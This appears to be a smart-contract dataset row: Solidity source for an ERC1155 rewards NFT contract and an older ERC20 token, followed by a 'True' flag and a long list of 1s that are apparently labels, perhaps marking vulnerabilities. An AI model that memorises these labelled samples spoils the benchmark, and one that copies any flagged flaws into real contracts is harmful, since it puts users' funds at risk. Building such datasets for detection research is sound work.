* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
contract JRNYRewardsNFT is ERC1155 {
address public admin;
string public name;
string public symbol;
string public metadata;
mapping(uint256 => bool) minted;
using ECDSA for bytes32;
address signer = 0xb6625044f65F77418C54b73b9883B2Bed32Cc51C;
address maintainer;
modifier onlyAdmin {
require(admin == msg.sender, "Not allowed");
_;
}
constructor(
string memory _name,
string memory _symbol,
string memory _metadata
) ERC1155("") {
name = _name;
symbol = _symbol;
metadata = _metadata;
admin = msg.sender;
}
function authorizedMint(uint _nftId, bool _unique, uint _nonce, bytes memory _signature) public {
bytes32 hash = hashTransaction(msg.sender, _nftId, _unique, _nonce);
require(!minted[uint(hash)], "Token already minted");
require(matchSignerAdmin(signTransaction(hash), _signature), "Signature mismatch");
minted[uint(hash)] = true;
_mint(msg.sender, _nftId, 1, "");
}
function adminBatchMint(
address[] memory _to,
uint256[] memory _ids,
uint256[] memory _values,
bytes memory _data
) public onlyAdmin {
for (uint256 i = 0; i < _to.length; i++) {
_mint(_to[i], _ids[i], _values[i], _data);
}
}
function updateMetadata(string memory _metadata) external {
require (msg.sender == admin || msg.sender == maintainer, "Not allowed");
metadata = _metadata;
}
function uri(uint256 _id) public view override returns (string memory) {
return string(abi.encodePacked(metadata, uint2str(_id), ".json"));
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
function hasBeenMinted(address _sender, uint _nftId, bool _unique, uint _nonce) public view returns (bool) {
return minted[uint(keccak256(abi.encode(_sender, _nftId, _unique, _nonce)))];
}
function hashTransaction(address _sender, uint _nftId, bool _unique, uint _nonce) public pure returns (bytes32) {
bytes32 _hash = keccak256(abi.encode(_sender, _nftId, _unique, _nonce));
return _hash;
}
function signTransaction(bytes32 _hash) public pure returns (bytes32) {
return _hash.toEthSignedMessageHash();
}
function matchSignerAdmin(bytes32 _payload, bytes memory _signature) public view returns (bool) {
return signer == _payload.recover(_signature);
}
function changeMaintainer(address newAddress) external onlyAdmin {
maintainer = newAddress;
}
function changeAdmin(address newAdmin) external onlyAdmin {
admin = newAdmin;
}
function changeApprovedSigner(address newSigner) external onlyAdmin {
signer = newSigner;
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
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pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HappyEthericHome is StandardToken, Ownable {
// Constants
string public constant name = "Happy Etheric Home";
string public constant symbol = "HEH";
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function HappyEthericHome() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
} | True | [
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
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1,
1,
1,
1,
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1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
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1,
1,
1,
1,
1,
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1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
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